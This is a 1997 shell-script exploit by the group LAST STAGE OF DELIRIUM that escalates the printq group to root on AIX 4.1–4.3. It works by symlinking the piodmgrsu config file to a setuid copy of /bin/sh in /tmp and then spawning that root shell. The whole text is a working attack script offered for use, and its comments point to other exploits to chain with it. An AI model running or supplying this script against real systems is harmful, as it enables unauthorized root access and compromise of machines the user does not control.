#!/bin/sh
## copyright LAST STAGE OF DELIRIUM dec 1997 poland        *://lsd-pl.net/ #
## /usr/lib/lpd/pio/etc/piodmgrsu                                          #

#  printq group to root user's privilages escalation attack                 
#  use aix_piomkapqd or aix_piobe codes first in order to gain egid=printq  

echo "copyright LAST STAGE OF DELIRIUM dec 1997 poland  //lsd-pl.net/"
echo "/usr/lib/lpd/pio/etc/piodmgrsu for aix 4.1 4.2 4.3 PowerPC/POWER\n"

PIOCONFIG=/var/spool/lpd/pio/@local/piocfg

/usr/bin/mv -f $PIOCONFIG $PIOCONFIG.org 2> /dev/null
/usr/bin/cp -f /usr/bin/sh /tmp/sh 2> /dev/null
/usr/bin/chmod -f 4755 /tmp/sh 2> /dev/null
ln -s /tmp/sh $PIOCONFIG

/usr/lib/lpd/pio/etc/piodmgrsu 2> /dev/null 1> /dev/null
/usr/bin/mv -f $PIOCONFIG.org $PIOCONFIG 2> /dev/null

/tmp/sh

